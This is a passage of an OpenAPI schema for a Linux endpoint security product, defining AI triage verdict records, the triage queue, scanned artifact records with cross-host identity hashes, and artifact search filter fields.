alerting findings plus the distribution family. Two hosts sharing it have the identical executables alerting in the identical places for the identical reasons, on the same kind of platform, so the second reuses this verdict rather than being judged again.\n\nThe family is the distribution without its version, so Debian 12 and Debian 13 are one platform while Debian and Red Hat are two. What it separates is the cases where the same finding warrants different advice because packaging and ownership conventions differ, and those follow the distribution rather than its point release.\n\nAbsent for a host that cannot be fingerprinted -- one with an alerting artifact that has no cross-host identity, or with more alerts than the ranking pass reads. Such hosts are always judged on their own and never share."},"reused_from_host":{"type":"integer","description":"The host this verdict was originally formed on, when a model was not asked about this one. Absent for a verdict produced for this host.\n\nThe verdict is otherwise the same in every respect, except that its findings name this host's artifacts rather than the original host's, and the severities those findings carry have been applied to this host's artifacts. It always points at wherever a model actually looked, even when the verdict has been passed along several hosts.\n\nA borrowed verdict is not final. When a model forms a fresh verdict for the same situation -- a host arriving in a higher spread range, an operator re-judging a host by hand, a changed document -- every host holding an older verdict for that situation takes up the new one, without a submission, and this field then names the host the new verdict was formed on."},"formed_at":{"type":"string","format":"date-time","description":"When a model produced this verdict, on whichever host it was produced. It travels unchanged when the verdict is reused on another host, where `last_analyzed_at` is when this host got its answer, so the two differ on a borrowed verdict. It is what decides whether another host's verdict for the same situation is newer than the one this host holds. Absent for a synthesized verdict."},"spread_bucket":{"type":"integer","description":"How widespread the rarest alerting artifact was when the verdict was formed, as the lower bound of a coarse range of hosts: 1, 2, 10 or 100. Hosts share a verdict only within a range, because how widespread an artifact is across hosts is the strongest false-positive signal the model reads: a verdict formed when a rollout had reached three hosts is not the verdict for the same rollout at three hundred. The first host to arrive in a higher range is judged afresh, and its verdict then replaces the earlier one on every host in the situation. Absent where no alerting artifact had a host count.","enum":[1,2,10,100]},"last_checked_at":{"type":"string","description":"When the host's evidence was last assembled and compared. This moves even when nothing was submitted, because an unchanged host is not re-judged.","format":"date-time"},"last_analyzed_at":{"type":"string","description":"When a model was last actually asked. The gap between this and `last_checked_at` is what the unchanged-input check saved.","format":"date-time"},"created_at":{"type":"string","format":"date-time","description":"When the record was created. With `state` `none` there is no record, and this is the zero time, `0001-01-01T00:00:00Z`."},"modified_at":{"type":"string","format":"date-time","description":"When the record was last written. With `state` `none` there is no record, and this is the zero time, `0001-01-01T00:00:00Z`."},"queue_position":{"type":"integer","description":"Position in the triage queue, 1 being next. Present whenever the subject is on the triage queue, whatever `state` is. With `state` `queued` or `running` the subject has no record yet and its first verdict is on its way; with any other state a re-run is pending, and the record shown is the current one until it lands. Items held by a retry backoff, the minimum interval or the daily limit -- all of which hold automatic work only -- are not counted ahead of any item that can start now, because they will not be taken before their time; they take the positions after every such item, the one whose hold ends soonest first, so no two items share a position."},"queue_length":{"type":"integer","description":"How many subjects are in the triage queue. Present whenever the subject is on the triage queue, whatever `state` is. Automatic work left waiting while automatic submission is off is counted."}}},"ArtifactTriage":{"description":"What AI triage has concluded about this artifact, on the host it was found on.\n\nTwo shapes of record come back here. A record that fell out of the **host** verdict carries `confidence`, `brief` (the finding's assessment), `suggested_severity` and `reason`, with `verdict` absent and `report` and `tags` present but empty: a host verdict rates each of its findings without giving each one its own five-way judgement. Classifying the artifact directly, on request, fills all three. A client should therefore render from `brief` and treat `verdict` as optional, since the host-verdict shape is by far the more common one.\n\nWhere an artifact has been classified directly, that is what it keeps: a later host verdict neither overwrites the record nor re-rates the artifact, because the classification is the more specific judgement and the one somebody asked for.\n\nNothing is carried between artifacts. The same finding on another host is judged when that host is, or when it reuses this host's whole verdict because it is in the identical situation. The record lives exactly as long as the artifact it is about.","type":"object","required":["artifact_id","state","brief","report","tags","created_at","modified_at"],"properties":{"artifact_id":{"type":"integer","format":"int64"},"state":{"$ref":"#/components/schemas/TriageState"},"verdict":{"$ref":"#/components/schemas/TriageVerdict"},"confidence":{"$ref":"#/components/schemas/TriageConfidence"},"brief":{"type":"string","description":"One sentence, for a list."},"report":{"type":"string","description":"The written assessment, in Markdown."},"tags":{"type":"array","description":"Short labels for what kind of thing this is.","items":{"type":"string"}},"suggested_severity":{"type":"integer","description":"The severity the model gave this artifact, 0-5, which is also what the artifact now reports unless `severity_withdrawn` is set. Absent where the model offered no opinion, in which case the artifact reports the severity its sandflies give it: a classification that rates the artifact applies its severity, and one that does not takes any earlier AI severity off, so an absent `suggested_severity` always means no AI severity is in force. A present one is in force unless `severity_withdrawn` says an operator took it back.","minimum":0,"maximum":5},"severity_withdrawn":{"type":"boolean","description":"Whether an operator has reverted the AI severity off this artifact, alone or with the rest of its host's, since this record was written. `suggested_severity` is still what the model said, and may be shown as such, but the artifact reports what its sandflies rate it. Cleared when a new finding or classification rates the artifact. Absent when false."},"last_skip_reason":{"type":"string","description":"Reported on the `queued` shape of an artifact with no record whose classification is being held, so a panel can say why the request is not moving. An artifact classification is only ever requested, and neither the daily limit nor the host tag exclusion holds a request, so in practice nothing holds one and this is absent.","enum":["daily limit reached"]},"reason":{"type":"string","description":"Why that severity rather than the one the artifact has."},"model":{"type":"string","description":"The model that produced the classification."},"error_message":{"type":"string","description":"Why the attempt failed, when `state` is `error`."},"last_analyzed_at":{"type":"string","format":"date-time"},"created_at":{"type":"string","format":"date-time","description":"When the record was created. With `state` `none` there is no record, and this is the zero time, `0001-01-01T00:00:00Z`."},"modified_at":{"type":"string","format":"date-time","description":"When the record was last written. With `state` `none` there is no record, and this is the zero time, `0001-01-01T00:00:00Z`."},"queue_position":{"type":"integer","description":"Position in the triage queue, 1 being next. Present whenever the subject is on the triage queue, whatever `state` is. With `state` `queued` or `running` the subject has no record yet and its first verdict is on its way; with any other state a re-run is pending, and the record shown is the current one until it lands. Items held by a retry backoff, the minimum interval or the daily limit -- all of which hold automatic work only -- are not counted ahead of any item that can start now, because they will not be taken before their time; they take the positions after every such item, the one whose hold ends soonest first, so no two items share a position."},"queue_length":{"type":"integer","description":"How many subjects are in the triage queue. Present whenever the subject is on the triage queue, whatever `state` is. Automatic work left waiting while automatic submission is off is counted."}}},"TriageBulkRequest":{"description":"The hosts to queue for AI triage.","type":"object","required":["host_sequence_ids"],"properties":{"host_sequence_ids":{"type":"array","description":"The hosts to triage.","items":{"type":"integer"}}}},"TriageQueued":{"description":"What a triage request queued.","type":"object","required":["queued","queue_length"],"properties":{"queued":{"type":"integer","description":"How many subjects were queued. May be lower than the number asked for: hosts that do not exist are left out rather than failing the request, and a host named more than once counts once."},"queue_length":{"type":"integer","description":"How many subjects are in the triage queue after this request, so a caller can show progress without a second request."}}},"TriageDocument":{"description":"An AI triage submission for a host, built but not sent.","type":"object","required":["host_sequence_id","system_instruction","document","prompt","document_bytes","max_payload_kb","truncated","alerting_artifacts"],"properties":{"host_sequence_id":{"type":"integer","description":"Host the submission describes."},"system_instruction":{"type":"string","description":"The system instruction, sent first."},"document":{"type":"object","description":"The JSON document describing the host, sent second. Its structure is internal to AI triage and may change between releases."},"prompt":{"type":"string","description":"The question asked about the document, sent last."},"document_bytes":{"type":"integer","description":"Size of the document as sent, in bytes."},"max_payload_kb":{"type":"integer","description":"Size budget the document was built to, in KB."},"truncated":{"type":"boolean","description":"Whether the document had to leave out alerts, alert detail or host context to fit the budget."},"alerting_artifacts":{"type":"integer","description":"How many alerting artifacts the host has. Zero means triage would record the host as clean without submitting it."}}},"TriageReverted":{"description":"How many artifacts had their AI severity removed.","type":"object","required":["reverted"],"properties":{"reverted":{"type":"integer","description":"How many of the host's artifacts had an AI severity to remove. Zero where none was steered; the host's own AI rating is withdrawn either way."}}},"TriageQueue":{"description":"One page of the AI triage queue, in the order it is worked.","allOf":[{"$ref":"#/components/schemas/ScrollingResponse"}],"type":"object","required":["data","queue_length","available","automatic","paused_until"],"properties":{"data":{"type":"array","description":"The items on this page.","items":{"$ref":"#/components/schemas/TriageQueueEntry"}},"queue_length":{"type":"integer","description":"How many items are on the queue, on every page. Held items are counted."},"available":{"type":"boolean","description":"Whether there is an AI configuration to run queued work on. AI triage's own configuration counts, and so does AI analysis's, which runs requests made by hand when AI triage is not configured. While this is false, nothing on the queue runs."},"automatic":{"type":"boolean","description":"Whether automatic work is being taken off the queue. While this is false, items that are neither requests made by hand nor `refresh` items wait for automatic triage to be switched back on."},"paused_until":{"type":"string","format":"date-time","nullable":true,"description":"When the queue is worked again after the AI provider refused a submission for exceeding its rate limit, or null when it is not paused. No item is started before then, whatever its own state."}}},"TriageQueueEntry":{"description":"One item on the AI triage queue.","type":"object","required":["id","kind","host_sequence_id","hostname","artifact_id","position","state","held_until","manual","refresh","attempts","last_error","run_again","removed","requested_by","requested_by_name","scan_run_id","enqueued_at","claimed_at"],"properties":{"id":{"type":"integer","format":"int64","description":"The queue item's ID, for removing it or running it now. An item keeps its ID while it is retried, held or run again, and a host or artifact queued again after its item has left the queue gets a new one."},"kind":{"type":"string","enum":["host","artifact"],"description":"Whether the item is a host triage or an artifact classification."},"host_sequence_id":{"type":"integer","description":"The host the item is about: the host being triaged, or the host the artifact belongs to."},"hostname":{"type":"string","description":"The host's name."},"artifact_id":{"type":"integer","format":"int64","nullable":true,"description":"The artifact being classified, or null for a host triage."},"position":{"type":"integer","description":"The item's place on the queue, as `getHostTriage` and `getArtifactTriage` report it, where 1 is next. No two items share a position. Items that are running or can start now come first, in the order they are worked; held items follow them, the one whose hold ends soonest first."},"state":{"$ref":"#/components/schemas/HostTriageQueueState"},"held_until":{"type":"string","format":"date-time","nullable":true,"description":"When a held item can next be started, or null for an item that is not held."},"manual":{"type":"boolean","description":"Whether the item is a request made by hand. Requests are worked first, and the automatic checks -- the minimum interval, the daily limit, the host tag exclusion, the reuse of another host's verdict and the unchanged-input check -- do not apply to them. Artifact classifications are always requests."},"refresh":{"type":"boolean","description":"Whether the item only takes up a newer verdict formed for another host in the same situation. It never sends anything to the AI provider."},"attempts":{"type":"integer","description":"How many times the item has been started since its attempt count last started again. A request made by hand starts it again; a hold that is not a failure does not count."},"last_error":{"type":"string","description":"The error the item's most recent failed submission returned, including a rate-limit refusal, or an empty string. It is kept while the item is retried or held, and cleared when its attempt count starts again. A failure that ends the item's attempts is recorded on the host's or artifact's triage instead, and the item leaves the queue."},"run_again":{"type":"boolean","description":"Whether a running item was asked for again while it ran, by a scan that changed the host or by a request, and will go back on the queue when it finishes. A request made while it ran makes the re-run a request made by hand."},"removed":{"type":"boolean","description":"Whether a running item has been removed from the queue. It finishes the run in progress and then leaves the queue, without being retried, held or run again."},"requested_by":{"type":"string","description":"The username of the user who asked for the item, or an empty string for automatic work."},"requested_by_name":{"type":"string","description":"The full name of the user who asked for the item. This is their username when they have no full name or the user no longer exists, and an empty string for automatic work."},"scan_run_id":{"type":"string","description":"The scan that queued a host triage, or an empty string for an item no scan queued."},"enqueued_at":{"type":"string","format":"date-time","description":"When the item was queued."},"claimed_at":{"type":"string","format":"date-time","nullable":true,"description":"When the running item was submitted to the LLM API, or null for an item that is not running."}}},"TriageQueueRemoveRequest":{"description":"The AI triage queue items to remove.","type":"object","required":["ids"],"properties":{"ids":{"type":"array","description":"The queue items' IDs.","items":{"type":"integer","format":"int64"}}}},"TriageQueueRemoved":{"description":"What a removal took off the AI triage queue.","type":"object","required":["removed","running"],"properties":{"removed":{"type":"integer","description":"How many items were taken off the queue, including those still running."},"running":{"type":"integer","description":"How many of the removed items are running. They finish the run in progress, and stay on the queue with `removed` set until they do."}}},"ArtifactBase":{"title":"ArtifactBase","description":"One scanned artifact (process, file, user, ...) and its rolled-up state, without the sandflies that matched it: the artifact list describes those as a summary (Artifact) and the artifact detail as full per-sandfly results (ArtifactDetail). The artifact's status is the worst status among its non-superseded sandfly results.","type":"object","required":["id","external_id","host_id","hostname","node_name","host_sequence_id","host_tags","engine","key_type","key_data","base_permissive_hash","base_moderate_hash","base_strict_hash","status","superseded","severity","containerized","first_seen","last_seen","last_run_id","revision"],"properties":{"id":{"type":"integer","format":"int64","description":"Artifact ID."},"external_id":{"type":"string"},"host_id":{"type":"string"},"hostname":{"type":"string"},"node_name":{"type":"string"},"host_sequence_id":{"type":"integer"},"host_tags":{"type":"array","items":{"type":"string"}},"engine":{"$ref":"#/components/schemas/SandflyEngineType"},"key_type":{"$ref":"#/components/schemas/ArtifactKeyType"},"key_data":{"type":"string","description":"The most recognizable piece of artifact data (process name, file path, username, ...). For an error artifact with no other data, the start of its error message, cut at 128 characters."},"base_permissive_hash":{"type":"string","description":"The artifact's permissive identity hash, as computed by the engine before any sandfly's match hash supplement was folded in. Two hosts carrying the same artifact report the same value, so an exact filter on base_permissive_hash allows cross-host searches. Omitted for an artifact with no hash identity (an operating system, an error, anything keyed only by its key_data)."},"base_moderate_hash":{"type":"string","description":"The artifact's moderate identity hash, on the same terms as base_permissive_hash, and filterable in the same way."},"host_counts":{"allOf":[{"$ref":"#/components/schemas/ArtifactHostCounts"}],"description":"How common the artifact is across hosts. Always present on the artifact detail (GET /artifacts/{artifact_id}) and on the host rollup's alerting_artifacts entries; on a POST /artifacts entry only when the search set `host_counts`. Omitted in every case for an artifact with no permissive or moderate hash, which has nothing to be counted across hosts by."},"base_strict_hash":{"type":"string","description":"The artifact's strict identity hash. Reported for completeness but not a filter field: it has no index, and for a hash-keyed artifact it is the artifact key. A strict hash also includes host-varying detail, so it rarely matches across hosts. Use the permissive or moderate hash for that."},"hash_version":{"type":"integer","description":"The scheme the three hashes above were computed under. Reported with them because a hash means nothing without knowing what went into it, and because two artifacts are only the same thing if their hashes agree and were computed the same way. Omitted alongside the hashes for an artifact that has none."},"status":{"$ref":"#/components/schemas/ResultStatus"},"superseded":{"type":"boolean","description":"True when every sandfly result on this artifact has been superseded."},"severity":{"type":"integer","description":"The artifact's severity: normally the highest among the non-superseded alerting sandflies, and whatever AI triage rated it once a verdict has judged it. This is what the artifact list sorts on and what the `severity` filter field compares against.\n\nAn artifact in error -- one or more sandflies on it in error and none alerting -- is always severity 2, whatever its sandflies are configured at, so that a host that could not be fully scanned never reads as clean. A passing artifact -- every sandfly on it passing, or its alerts whitelisted -- is 0, whatever its sandflies are configured at and whatever AI triage rated it while it was alerting."},"containerized":{"type":"boolean"},"threat_score":{"type":"integer","nullable":true,"minimum":0,"maximum":100,"description":"Machine learning threat score (0-100) of the artifact's binary, taken from the binary analysis in its result data: a file artifact's own ELF, the executable behind a process artifact, or the ExecStart program of a systemd unit. Higher is more likely to be malicious. `null` for every artifact the score does not apply to."},"first_seen":{"type":"string","format":"date-time"},"last_seen":{"type":"string","format":"date-time"},"last_run_id":{"type":"string"},"revision":{"type":"integer","description":"Monotonically increasing change marker; advances on any material change to the artifact or its sandfly results."}}},"ArtifactKeyType":{"type":"string","enum":["hash","os","error","key_data"],"description":"How the artifact's identity key was derived."},"Artifact":{"type":"object","required":["sandflies"],"title":"Artifact","description":"One scanned artifact with a summary of the sandflies that currently match it. This is the artifact as the artifact list and the host rollup report it; the artifact detail reports the same sandflies in full as sandfly_results.","allOf":[{"$ref":"#/components/schemas/ArtifactBase"}],"properties":{"sandflies":{"type":"array","description":"The sandflies that currently match this artifact (those with a non-superseded result on it) ordered worst result first (alert, then error, then pass) and alphabetically within each group, so the sandfly the artifact is being reported for comes first.","items":{"$ref":"#/components/schemas/ArtifactSandfly"}},"triage":{"allOf":[{"$ref":"#/components/schemas/ArtifactTriageSummary"}],"description":"What AI triage has concluded about this artifact. Omitted for an artifact with no triage record."}}},"ArtifactTriageSummary":{"title":"ArtifactTriageSummary","description":"An artifact's AI triage record as the artifact list summarises it. The full record, with the written report, is returned by GET /artifacts/{artifact_id}/triage.\n\nAs with ArtifactTriage, a record that came from a **host** verdict carries `confidence` and `brief` but no `verdict`; only classifying the artifact directly gives it a verdict of its own. Render from `brief` and treat `verdict` as optional.","type":"object","required":["state","brief"],"properties":{"state":{"$ref":"#/components/schemas/TriageState"},"verdict":{"$ref":"#/components/schemas/TriageVerdict"},"confidence":{"$ref":"#/components/schemas/TriageConfidence"},"brief":{"type":"string","description":"One sentence, for a list."},"suggested_severity":{"type":"integer","description":"The severity the model gave this artifact, 0-5, on the same terms as ArtifactTriage's `suggested_severity`.","minimum":0,"maximum":5},"severity_withdrawn":{"type":"boolean","description":"Whether an operator has reverted the AI severity off this artifact. Absent when false."},"last_analyzed_at":{"type":"string","format":"date-time"}}},"ArtifactSandfly":{"title":"ArtifactSandfly","description":"One sandfly that currently matches an artifact, summarised for a list. The artifact detail reports these same sandflies as ArtifactSandflyResult, with the whole result rather than a summary of it; the fields the two have in common are named the same way in both.","type":"object","required":["sandfly","type","status","severity","drift_result","tags"],"properties":{"sandfly":{"type":"string","description":"Name of the sandfly."},"type":{"allOf":[{"$ref":"#/components/schemas/SandflyType"}],"description":"What kind of sandfly matched. The artifact list can be filtered by it (the sandfly_type field), so a list can show what it was filtered by."},"status":{"allOf":[{"$ref":"#/components/schemas/ResultStatus"}],"description":"This sandfly's result on the artifact, which is what the summary is ordered by. It is not always the artifact's own status: the artifact reports the worst result against it, so a passing sandfly appears in the summary of an alerting artifact."},"severity":{"type":"integer","description":"The sandfly's own severity. It is not always the artifact's severity, which is the highest severity among the sandflies alerting on it."},"drift_result":{"type":"boolean","description":"True when this sandfly alerted because the artifact is absent from the result profiles assigned to the host, rather than because the sandfly matched something it looks for. It describes this sandfly's result, not the artifact: one sandfly can be reporting drift on an artifact another alerted on outright."},"tags":{"$ref":"#/components/schemas/SandflyTags"}}},"ArtifactSandflyResult":{"title":"ArtifactSandflyResult","description":"One sandfly's result on an artifact. The id is the same public result ID used by the backward-compatibility /results endpoints.","type":"object","properties":{"id":{"type":"string"},"sandfly":{"type":"string"},"type":{"$ref":"#/components/schemas/SandflyType"},"severity":{"$ref":"#/components/schemas/SandflySeverity"},"tags":{"type":"array","items":{"type":"string"}},"status":{"$ref":"#/components/schemas/ResultStatus"},"status_msg":{"type":"string"},"explanation":{"type":"string","description":"This sandfly's explanation of its match on the artifact."},"whitelisted":{"type":"boolean"},"drift_result":{"type":"boolean"},"superseded":{"type":"boolean"},"seen_count":{"type":"integer"},"first_seen":{"type":"string","format":"date-time"},"last_seen":{"type":"string","format":"date-time"},"last_run_id":{"type":"string"}}},"ArtifactDetail":{"title":"ArtifactDetail","description":"Full artifact view: the artifact, the shared artifact data payload, and every per-sandfly result. It carries no sandflies summary: sandfly_results already names every one of those sandflies and reports far more about each.","allOf":[{"$ref":"#/components/schemas/ArtifactBase"},{"type":"object","properties":{"data":{"allOf":[{"$ref":"#/components/schemas/ArtifactData"}],"description":"The shared artifact data payload (same shape as data.results on a /results entry), minus the per-sandfly fields explanation, whitelisted, and drift_result: those describe one sandfly's verdict rather than the artifact, and each entry in sandfly_results carries its own."},"sandfly_results":{"type":"array","items":{"$ref":"#/components/schemas/ArtifactSandflyResult"}}}}]},"ArtifactDetailResponse":{"title":"ArtifactDetailResponse","description":"The GET /artifacts/{id} response: the full artifact view plus the response actions taken against the artifact and the AI analyses of it.","allOf":[{"$ref":"#/components/schemas/ArtifactDetail"},{"type":"object","properties":{"response_action_log":{"description":"Response actions that have been performed against this artifact, whether requested on the artifact directly or through one of its results, ordered by most recent first. Empty array if none.","type":"array","items":{"$ref":"#/components/schemas/ResponseActionLogSummary"}},"llm_analyses":{"description":"AI analyses of this artifact, whether requested on the artifact directly or through one of its results, ordered by most recently modified first. Empty array if none.","type":"array","items":{"$ref":"#/components/schemas/LlmAnalysisSummary"}}},"required":["response_action_log","llm_analyses"]}]},"ArtifactData":{"title":"ArtifactData","description":"The shared artifact data payload: the engine's scan of the artifact (one of the engine response shapes, keyed by artifact kind) plus the members common to every payload. This is the same JSON stored on the artifact's results, so its fields match the data.results fields on POST /results, minus the per-sandfly explanation.","allOf":[{"$ref":"#/components/schemas/ArtifactDataCommon"},{"$ref":"#/components/schemas/ArtifactDataVariants"}]},"ArtifactDataCommon":{"title":"ArtifactDataCommon","description":"The members present on every artifact data payload regardless of engine.","type":"object","required":["containerized","match_hashes"],"properties":{"containerized":{"type":"boolean","description":"True when the scanned artifact resides inside a container."},"response":{"type":"object","description":"Response actions taken against the detected artifact. Only present when a response was attempted.","properties":{"process":{"type":"object","description":"Response taken against a detected process.","required":["killed","suspended","error"],"properties":{"killed":{"type":"boolean","description":"Whether the PID was killed."},"suspended":{"type":"boolean","description":"Whether the PID was suspended."},"error":{"type":"boolean","description":"True if an error happened during the response."}}}}},"match_hashes":{"type":"object","properties":{"version":{"type":"integer"},"strict":{"type":"string"},"moderate":{"type":"string"},"permissive":{"type":"string"}}}}},"ArtifactDataVariants":{"description":"The engine-specific portion of an artifact data payload, one shape per engine family. The shapes are the same engine responses the /results variants wrap; which one applies follows from the artifact's engine.","anyOf":[{"$ref":"#/components/schemas/AtJobEngineResponse"},{"$ref":"#/components/schemas/CloakedDirentryEngineResponse"},{"$ref":"#/components/schemas/CronEngineResponse"},{"$ref":"#/components/schemas/DirEngineResponse"},{"$ref":"#/components/schemas/ErrorEngineResponse"},{"$ref":"#/components/schemas/FileEngineResponse"},{"$ref":"#/components/schemas/KmodulesEngineResponse"},{"$ref":"#/components/schemas/LastlogEngineResponse"},{"$ref":"#/components/schemas/Os"},{"$ref":"#/components/schemas/ProcessEngineResponse"},{"$ref":"#/components/schemas/SystemdSessionEngineResponse"},{"$ref":"#/components/schemas/SystemdEngineResponse"},{"$ref":"#/components/schemas/UserEngineEngineResponse"},{"type":"object","required":["log"],"description":"A login accounting artifact: one utmp, wtmp, or btmp record.","properties":{"log":{"type":"object","properties":{"utmp":{"$ref":"#/components/schemas/UtmpEngineResponse"},"wtmp":{"$ref":"#/components/schemas/UtmpEngineResponse"},"btmp":{"$ref":"#/components/schemas/UtmpEngineResponse"}}}}}]},"ArtifactHostCounts":{"title":"ArtifactHostCounts","description":"How many hosts have this same artifact, counted by each of the artifact's two match hashes, with the alerting subset of each. On the artifact detail the counts are exact. In an artifact search, and in the host rollup's alerting artifact list, they are capped per hash.","type":"object","required":["permissive","moderate","alert_permissive","alert_moderate"],"properties":{"permissive":{"type":"integer","description":"Hosts carrying an artifact with this artifact's base permissive hash, whatever its status there."},"moderate":{"type":"integer","description":"Hosts carrying an artifact with this artifact's base moderate hash, whatever its status there."},"alert_permissive":{"type":"integer","description":"The subset of `permissive` matches where that artifact's status is alert."},"alert_moderate":{"type":"integer","description":"The subset of `moderate` matches where that artifact's status is alert."},"permissive_capped":{"type":"boolean","description":"The permissive count stopped at the search's per-hash scan cap, so the artifact is on **at least** `permissive` hosts. Absent (false) when the count is exact, which it always is on the artifact detail. Alerting hosts are counted first, so `alert_permissive` stays exact until the alerting hosts alone exceed the cap."},"moderate_capped":{"type":"boolean","description":"The same for the moderate count and `alert_moderate`."}}},"ArtifactSearchFilterItemField":{"description":"The artifact field to filter on. This is a fixed set (see `enum`); filtering on any other field is rejected.\n- `sandfly`, `sandfly_type` and `sandfly_tags` are **membership tests** against the artifact's non-superseded per-sandfly results: they match an artifact when ANY of its matching sandflies satisfies the comparison, and a negated operator (`notEquals`, `notContains`, ...) means NO matching sandfly does. They cannot be used in `sort`.\n- An exact `host_id` match is resolved to `host_sequence_id` internally, so filtering on either performs the same.\n- `base_permissive_hash` and `base_moderate_hash` are the artifact's own identity hashes, taken before any per-sandfly supplement, so an exact match on one finds the same artifact on every other host that has it. They are NOT the same values as the result endpoint's `match_hashes.*`, which are the supplemented per-sandfly hashes. The third base hash, `base_strict_hash`, is reported but not filterable: it has no index, and for a hash-keyed artifact it holds the same value as the artifact key.\n- The `data.results...` fields search the stored result JSON, and are the same fields, with the same names and operators, that POST /results accepts; see GET /results/indexes for their build state. The JSON payload belongs to the artifact, so these mean the same thing on either endpoint.\n- **Result JSON date fields** (`data.results.file.date.modified`, `data.results.file.date.created`) are stored as RFC3339 UTC strings and support range/date operators (see `operator`).\n- `threat_score` is the artifact's machine learning threat score, and is the one filter field that can be null: use `isEmpty` / `isNotEmpty` to select artifacts with no score. As in SQL, a null score satisfies no comparison, so `threat_score != 0` does NOT return the artifacts that have no score. Sorting by it puts the unscored artifacts last in both directions.","type":"string","enum":["id","external_id","revision","host_id","host_sequence_id","hostname","node_name","ip_addr","queue_name","host_tags","run_id","manual_scan","engine","key_type","key_data","base_permissive_hash","base_moderate_hash","status","superseded","containerized","severity","threat_score","first_seen","last_seen","created_at","sandfly","sandfly_type","sandfly_tags","data.results.process.hash.md5","data.results.process.hash.sha1","data.results.process.hash.sha256","data.results.process.hash.sha512","data.results.process.name","data.results.process.path","data.results.process.true_path","data.results.process.cwd","data.results.process.username","data.results.process.uid","data.results.process.gid","data.results.process.pid","data.results.process.ppid","data.results.process.parent_process.name","data.results.process.parent_process.path","data.results.process.container.id","data.results.file.hash.md5","data.results.file.hash.sha1","data.results.file.hash.sha256","data.results.file.hash.sha512","data.results.file.name","data.results.file.path","data.results.file.true_path","data.results.file.extension","data.results.file.username","data.results.file.uid","data.results.file.gid","data.results.file.container.id","data.results.file.date.modified","data.results.file.date.created","data.results.directory.name","data.results.directory.path","data.results.directory.username","data.results.directory.uid","data.results.directory.gid","data.results.user.username","data.results.user.groupname","data.results.user.shell","data.results.user.home_dir","data.results.user.uid","data.results.user.gid","data.results.user.password.type","data.results.cron.username","data.results.cron.path","data.results.atjob.name","data.results.atjob.path","data.results.atjob.username","data.results.systemd.name","data.results.systemd.type","data.results.systemd.service_info.exec_start.binary_path","data.results.systemd_user.username","data.results.systemd_user.uid","data.results.kernel_module.name","data.results.kernel_module.module_file_path","data.results.kernel_module.file.hash.md5","data.results.kernel_module.file.hash.sha1","data.results.kernel_module.file.hash.sha256","data.results.kernel_module.file.hash.sha512","data.results.log.utmp.username","data.results.log.utmp.hostname","data.results.log.utmp.ip_address","data.results.log.wtmp.username","data.results.log.wtmp.hostname","data.results.log.wtmp.ip_address","data.results.log.btmp.username","data.results.log.btmp.hostname","data.results.log.btmp.ip_address","data.results.log.lastlog.username","data.results.log.lastlog.hostname"]},"AtJobSignal":{"type":"string","title":"AtJobSignal","description":"Findings from a one-off job queued to run later with at.","enum":["running","batch-queue","past-due-still-queued","delayed-activation"],"x-enumDescriptions":{"running":"The job is running right now rather than waiting to run.","batch-queue":"The job sits on a batch queue, which is rarely used legitimately.","past-due-still-queued":"The job's scheduled time has passed but it is still waiting to run.","delayed-activation":"The job was queued far ahead of when it runs, leaving it dormant until then."},"x-enumSeverities":{"running":2,"batch-queue":2,"past-due-still-queued":2,"delayed-activation":2}},"ArtifactSearchFilterItem":{"type":"array","items":{"type":"object","required":["field","operator"],"properties":{"field":{"$ref":"#/components/schemas/ArtifactSearchFilterItemField"},"operator":{"description":"The comparison operator to apply. The set of valid operators depends on the data type of the chosen field:\n\n- **String** fields and **tag** fields (`host_tags`, `sandfly_tags`): `contains`, `equals`, `startsWith`, `endsWith`, `notContains`, `notEquals`, `notStartsWith`, `notEndsWith`, `is`, `not`, `isEmpty`, `isNotEmpty`, `isAnyOf`\n- **Integer** fields (`id`, `severity`, `revision`, `host_sequence_id`): `equals`, `=`, `!=`, `<`, `<=`, `>`, `>=`, `isEmpty`, `isNotEmpty`, `isAnyOf`\n- **Date** fields (`first_seen`, `last_seen`, `created_at`): `is`, `not`, `after`, `onOrAfter`, `before`, `onOrBefore`\n- **Boolean** fields (`superseded`, `containerized`, `manual_scan`): `is`\n- `status` and `key_type` are enumerations, so `isEmpty`/`isNotEmpty` are rejected for them.\n- **Result JSON string** fields: `equals`, `=`, `is`, `isAnyOf`\n- **Result JSON integer** fields: `equals`, `=`, `is`, `!=`, `<`, `<=`, `>`, `>=`, `isAnyOf`\n- **Result JSON date** fields: `is`, `not`, `after`, `onOrAfter`, `before`, `onOrBefore`, and the raw `=`, `!=`, `<`, `<=`, `>`, `>=`\n\n`isAnyOf` matches when the field equals any member of `value`, which must be a non-empty array: of non-empty strings for a string or tag field, of integers (or numeric strings) for an integer field. Each member matches as `equals` does for that field, so a tag field matches when any one tag equals any member, case-insensitively. On a result JSON string field each member may be at most 500 characters. An empty array, a non-array value, or a bad member is rejected with a 400; an `isAnyOf` item is never dropped as a no-op. Use one `isAnyOf` item per field and combine items with `logicOperator` as usual; on a membership test it matches an artifact when ANY of its matching sandflies has any of the listed values.","type":"string"},"value":{"description":"The value to compare against: a string or an integer, or for `isAnyOf` a non-empty array of them.","oneOf":[{"type":"string"},{"type":"integer"},{"type":"array","minItems":1,"items":{"$ref":"#/components/schemas/ResultSearchFilterScalarValue"}}]}}}},"ArtifactsDelete":{"description":"Selects the artifacts to delete. Exactly one of `filter`, `time_since`, or `artifact_ids` must be given.","type":"object","properties":{"filter":{"type":"object","description":"Delete every artifact matching this filter, in the same shape as the artifact search filter. See `ArtifactSearchFilterItemField` for the fields this endpoint exposes; `sort` is accepted but ignored, since a delete has no order.","properties":{"items":{"$ref":"#/components/schemas/ArtifactSearchFilterItem"},"logicOperator":{"$ref":"#/components/schemas/ResultSearchFilterOperator"},"quickFilterValues":{"description":"Free-text terms, matched as they are for artifact search.","type":"array","items":{"type":"string"}},"quickFilterLogicOperator":{"type":"string","enum":["and","or"]}}},"time_since":{"description":"Delete every artifact first stored at or after this time.","format":"date-time","type":"string"},"artifact_ids":{"description":"List of artifact IDs to delete.","type":"array","items":{"type":"integer","format":"int64"}}}},"HostSandflyRun":{"title":"HostSandflyRun","description":"Coverage audit row: a sandfly that has run against a host, with its most recent outcome.","type":"object","properties":{"sandfly":{"type":"string"},"first_run":{"type":"string","format":"date-time"},"last_run":{"type":"string","format":"date-time"},"last_run_id":{"type":"string"},"last_status":{"$ref":"#/components/schemas/ResultStatus"},"run_count":{"type":"integer","format":"int64"},"last_result_count":{"description":"How many results the sandfly's last run against this host left behind. Zero means it ran and found nothing worth reporting, which for a recon sandfly is a complete answer. A non-zero count with no results now present means those results have since been deleted or expired.","type":"integer"}}},"ResultIndexStatus":{"title":"ResultIndexStatus","description":"Build state of one result-JSON search index.","type":"object","properties":{"field":{"description":"UI field name this index 